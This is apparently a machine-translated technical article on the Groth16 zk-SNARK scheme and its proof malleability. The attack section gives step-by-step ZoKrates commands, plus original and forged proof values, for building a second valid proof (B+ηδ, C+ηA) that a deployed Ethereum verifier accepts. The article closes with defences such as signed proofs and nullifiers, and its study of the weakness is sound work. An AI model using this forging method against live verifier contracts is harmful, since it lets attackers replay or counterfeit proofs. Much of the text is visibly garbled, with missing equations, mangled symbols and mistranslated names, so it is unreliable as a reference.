**1 about groth16**

Groth16 is one of the most famous zksnark proving schemes (in addition to pghr13, gm17, etc.). Compared with the previous proof protocol, groth16 has the characteristics of small proof data (only three proof data) and fast verification speed (only one equation needs to be verified). At present, groth16 has been widely used in many projects, such as zcash, filecoin, etc.

Groth16 is a zero knowledge proof protocol proposed by Daniel Jens growth in his paper “on the size of pairing based non interactive arguments” published in 2016.

The name of the general algorithm is composed of the first letter of the author’s surname and the year.

For example, ggpr13 is an algorithm proposed by Rosario Gennaro, Craig gentry, Bryan Parno, Mariana raykova in 2013 in the paper “quantitative span programs and successive nizks without PCPs”. And groth16 (also referred to as G16) is the algorithm in Jens growth’s paper published in 2016.

**2 overview of groth16 algorithm**

Like other QAP based algorithms, groth16 needs a prover to prove that he knows a secret within (a ₗ₊₁, a ₗ₊₊₁, a ₗ₊₊₊, a ₗ₊₊₊, a ₗ₊₊, a , aₘ) makes this secret and open statement (a ₁, a Е , a ₗ) can satisfy the following equation (where a ₀ = 1),

U (x), V (x), w (x), H (x), t (x) in the above equation are all related to the specific problem to be proved, but not to the secret witness and open statement held by the certifier.

**2.1 initialization phase**

In the initialization stage, some parameters α, β, γ, δ, X ←ℤₚ *, τ = (α, β, γ, δ, x), σ = ([σ ₁] ₁, [σ ψ] Е) are generated randomly. Among them,

Here [σ ₁₁] ₁ is the point on the elliptic curve 𝔾 ₁, and [σ Е] Е is the point on the elliptic curve 𝔾 Е,

Note: after the calculation of [σ ₁] ₁, [σ ₁] Е is completed, the original parameter sets σ ₁ and σ Е need to be discarded because they are toxic wastes. If it is not discarded, the whole system will not be safe, because the person who gets these parameters can forge the proof.

**2.2 certification stage**

The prover randomly selected R, s ←ℤₚ, and used witness (a ₗ₊₁, a ₗ₊₊, a ₗ₊₊₊₊ , aₘ) and statement (a ₁, a Е , a ₗ, and a ₀ = 1 to calculate proof π = ([a] ₁, [C] ₁, [b] Е). among

**2.3 verification stage**

The statement (a ₁, a ξ,…) is changed to , a ₗ) and a ₀ = 1 are substituted to verify that the following equations are equal.

If equal, proof π = ([a] ₁, [C] ₁, [b] Е) is correct, otherwise proof π is invalid.

For a detailed analysis of groth16 algorithm, please refer to these two articles “Introduction to groth16 algorithm” and “understanding of ZK proof of groth16” by star Li

**3. The safety of groth16**

Although the efficiency of groth16 is a qualitative leap compared with the previous proof algorithm, special attention should be paid to safety when using it. If you’re not careful, you’re creating a leak. Zokrates, a famous open source project, is described in its introductory tutorial as follows:

The core point of this description is that an attacker can generate a new and effective proof based on an existing proof of groth16. In other words, the attacker is`witness`

, a new proof can be constructed based on the proof that the certifier has already disclosed. But how to construct such proof is not mentioned in this paper. This aroused great interest of the author. I carefully read the thesis of groth16, hoping to find clues from it.

Note: G16 has only the malleability problem, and there is no flaw in its algorithm so far. But when using G16 to design the system, if we don’t pay attention to the malleability of G16, the designed system will generate vulnerabilities.

**Attack idea**

Through the description in the zokrates tutorial, we can know that the proof generated by the attacker must be based on an existing correct proof. So let’s start from this point and try to find a clue.

Observe and verify the equation

It seems that we can get the idea that if the attacker can construct a new proof π ‘= ([a’] ₁ [b] Е) based on the existing proof π = ([a] ₁ [C] ₁ [b] ₁ [b] ₁) to make the verification equation

Just set up.

Make a bold attempt to

be

Obtain evidence.

More generally, select a random number η ←ℤₚ, and η ≠ 0, construct

Can make the verification equation

{0, 1}, order

Established.

Of course, there are other construction methods. For example, Hu Yuguang of secbit proposed a better construction method: select a random number x ←ℤ, and X ∉ {0, 1}, so that

This way is more simple, ingenious and easy to understand!

**5 attack practice**

It is clear in theory, but it needs to be verified by practice. After all, theory needs to be connected with practice. Based on local materials, the experiment is directly carried out with the example of “sha256” in the zokrates tutorial.

In this example, the prover generates zksnark proof to prove that he knows the pre-image 5 of sha256 0xc6481ee2c5ff4164af680b8cfaa5e8ed3120eeff89c4f307c4a6faaae059ce10. It is suggested to try this example first, and then read on.

Note that zokrates’s default living scheme is growth 16, and the elliptic curve based on it is alt_mbn128 (also known as bn256).

**5.1 compiling circuit**

First, use the circuit in the example directly:

import “hashes/sha256/512bitPacked” as sha256packed

def main(private field a, private field b, private field c, private field d) -> (field):

```
h = sha256packed([a, b, c, d])
h[0] == 263561599766550617289250058199814760685
h[1] == 65303172752238645975888084098459749904
return 1
```

Save it as hashexample.zok and compile

./zokrates compile -i hashexample.zok

Compiled circuit will be saved in out file by default

**5.2 initialization**

Next, initialize the circuit,

./zokrates setup

By default, the command will read the circuit in the out file, initialize it, write VK to verification.key and PK to living.key. In verification.key, we will use Delta (δ).

The Delta (δ) in verification.key generated by this initialization is:

…

vk.delta = [0x08d8de30e1b96070599f473822831a5c84675e1ae26d38df88065be710c1ae51, 0x16d8e6761d0e470349897bb92b9a29f50934f76b8208226baef2f107a1914ec4], [0x141806f6a7fc82fbb2b73b544fe06902d2fb0c0ef68531801d92c2937a6d39a3, 0x2587d44143e5ef58550d5691ae14f73ed529cc756b619e4bb10bc7ed02c993a3]

…

Note: this delta (δ) represents a point on ALT ˊ bn128 𝔾 Е. The abscissa X and ordinate y of each point on alt〝〝Е are complex numbers, and each complex number has an imaginary part and a real part. Therefore, four values are required to represent such a point.

Then we can directly generate the smart contract code to verify proof

./zokrates export-verifier

The command generates the smart contract code based on verification.key and saves it in verifier.sol. This smart contract can be deployed directly to ethererum.

**5.3 generation certificate**

Next, we calculate the witness according to private input

./zokrates compute-witness -a 0 0 0 5

Then, the proof is generated according to witness

./zokrates generate-proof

Proof will be saved in the proof.json file

{

```
"proof": {
"a": ["0x282f666473dbcc1a4c4c3d39dca1bc7e5014ee3ad3e2732b3894715d2587e035", "0x10b8cab5c7bc0d142efac1ce2b984a8721dd7114a38ab59717660fcb7fbb9bc1"],
"b": [["0x04567073d4db9932c4e6fec8c5c715bbc7d981bbd2771aba57988bedaf2654f7", "0x1fcbe2f4653402e614d7a5aee078180a6063869c139b352450184015387d0d4f"], ["0x0b6f1e65d68b60e377194800473d1f06498ee37ac14d814732fd9858b1ffa102", "0x03faefb041fee3b4c82eaa96c278c55c09d5937a7101d66bd1dc9e30366e1fba"]],
"c": ["0x000f6a3ba957a10e387494b36da172de81e71db3fbb3cf131122439c10c3c35e", "0x1ed51ff80897f736c03ac95176e48272c3bb4573262d271aeceaaed89707c428"]
},
"inputs": ["0x0000000000000000000000000000000000000000000000000000000000000001"]
```

}

**5.4 attack**

The attack process is to replace B and C in the above proof.json file with B + η δ and C + η a respectively. Simply, let’s set η = 1.

Note that “+” here is the addition of two points on the elliptic curve, not the simple addition of numbers.

Therefore, we need to write some code to complete this process.

Note: as mentioned earlier, zokrates uses the curve of ALT ﹣ bn128. We need to find the corresponding library of alt﹣bn128 to help us to calculate the points on the elliptic curve. The good news is that it’s in Ethereum. It’s out of the box. ethereum/go-ethereum/crypto/bn256/cloudflare

Next, a simple program (gen-g16-proof) is written to calculate [b ‘] Е = [B + η δ] Е, [C’] Е = [C + η a] Е according to [a] Е, [C] Е, [C] Е = [C + η a] Е:

Note: in the above procedures, [δ] Е is from verification.key, [a] Е, [b] Е, [C] Е is from proof.json. Integrate them into input. JSON (reference format)

Executive order

gen-g16-proof -i input.json -o output.json

After that, the new [b ‘] Е and [C’] ₁ values can be obtained in output.json (reference format).

Note: the reader needs to replace the Delta, a, B, C in the above input.json according to the value generated by the runtime. And get the newly calculated B and C from output.json.

Replace the values of B and C in the output.json with those in the original proof.json, and save them as proof 2.json (as follows).

{

```
"proof": {
"a": ["0x282f666473dbcc1a4c4c3d39dca1bc7e5014ee3ad3e2732b3894715d2587e035", "0x10b8cab5c7bc0d142efac1ce2b984a8721dd7114a38ab59717660fcb7fbb9bc1"],
"b": [["0x302d34ff018f8abeea4b0ea206048a8c69c8cc8d4f7ddcc1bd613dcb539de567", "0x0927c6aac8cf8b3cf7534f06d80b791f07725ad1ee3a5246c6a6bd5533335ff4"], ["0x29140540827fad8c7f4b55877678ffa1c52d4a72a49f25c83495d18e9aa1b358", "0x23533b6d3c4df0aa49924cc9462aa1e278b4c58d3037a9bc9ab4026a18fbeefb"]],
"c": ["0x1de4d89b61640eead90df97fe4fcf7c76509941094657406caf0ec71c83bf537", "0x26c6778ea34fb888c44ba3a4c0e53fb6b83c90c0759201efe23886a85670018c"]
},
"inputs": ["0x0000000000000000000000000000000000000000000000000000000000000001"]
```

}

Next, according to proof.json and proof 2.json, the parameters of calling smart contract are generated respectively. Here, proof 2.json is constructed by the attacker based on proof.json.

$ ./zokrates print-proof -f remix -j proof.json

[“0x282f666473dbcc1a4c4c3d39dca1bc7e5014ee3ad3e2732b3894715d2587e035″,”0x10b8cab5c7bc0d142efac1ce2b984a8721dd7114a38ab59717660fcb7fbb9bc1”],[[“0x04567073d4db9932c4e6fec8c5c715bbc7d981bbd2771aba57988bedaf2654f7″,”0x1fcbe2f4653402e614d7a5aee078180a6063869c139b352450184015387d0d4f”],[“0x0b6f1e65d68b60e377194800473d1f06498ee37ac14d814732fd9858b1ffa102″,”0x03faefb041fee3b4c82eaa96c278c55c09d5937a7101d66bd1dc9e30366e1fba”]],[“0x000f6a3ba957a10e387494b36da172de81e71db3fbb3cf131122439c10c3c35e”,”0x1ed51ff80897f736c03ac95176e48272c3bb4573262d271aeceaaed89707c428″],[“0x0000000000000000000000000000000000000000000000000000000000000001”]

$ zokrates print-proof -f remix -j proof2.json

[“0x282f666473dbcc1a4c4c3d39dca1bc7e5014ee3ad3e2732b3894715d2587e035″,”0x10b8cab5c7bc0d142efac1ce2b984a8721dd7114a38ab59717660fcb7fbb9bc1”],[[“0x302d34ff018f8abeea4b0ea206048a8c69c8cc8d4f7ddcc1bd613dcb539de567″,”0x0927c6aac8cf8b3cf7534f06d80b791f07725ad1ee3a5246c6a6bd5533335ff4”],[“0x29140540827fad8c7f4b55877678ffa1c52d4a72a49f25c83495d18e9aa1b358″,”0x23533b6d3c4df0aa49924cc9462aa1e278b4c58d3037a9bc9ab4026a18fbeefb”]],[“0x1de4d89b61640eead90df97fe4fcf7c76509941094657406caf0ec71c83bf537″,”0x26c6778ea34fb888c44ba3a4c0e53fb6b83c90c0759201efe23886a85670018c”],[“0x0000000000000000000000000000000000000000000000000000000000000001”]

Finally, deploy the verifier.sol generated in the initialization phase to the Ethereum network, and call the verifier.verifytx() method with the parameters of the above call contract.

The following is the test results of the author on the rinkeby network.

• verifier contract: 0x46d6b34c…

• proof.json: 0x728ddfc2…

• proof2.json: 0x91f65d9d…

Interested friends can try to modify eta (η) in input.json to construct more effective proof.

**6 how to defend**

So how to defend against this kind of attack? There are four suggestions from zokrates for reference:

• signed proofs

It is required to give the signature of both zksnark proof and the producer of proof. In this way, even if an attacker forges proof, the signature cannot be forged.

• nullifiers

It can be considered that part or all of the public input in the proof can be used as a Nullifier. Because the above attack mode cannot change the public input, the Nullifier can only be used once, which can effectively prevent this attack.

• usage of an Ethereum address as a public input to the program

As part of public input, msg.sender submitted to proof can also prevent attacks. But this requires that this factor should be taken into account in the design of the circuit.

• usage of non-malleable schemes such as GM17

The last method is to change to another living scheme. This is obvious, but it loses the advantage of using the growth 16 algorithm efficiently.

**7 Summary**

Groth16 is an excellent zksnark proof algorithm. Not only the amount of proof data is small, but also the speed of generating proof and verifying proof is improved. Groth16 is technically mature and has been widely used in various types of projects. Zcash, filecoin and other star projects all use the groth16 algorithm.

But when we design a new system with groth16, we need to consider the situation that an attacker may generate a new proof with the disclosed proof. Therefore, for groth16, the system designer should not use it in a hurry, but consider the specific business scenarios and potential attack models, and take appropriate measures to avoid defects and loopholes.

**Reference**

- G16 Paper On the Size of Pairing-based Non-interactive Arguments, Jens Groth.
- Zokrates g16 malleability
- Zokrates sha256 example
- Ethereum bn256 library
- gen-g16-proof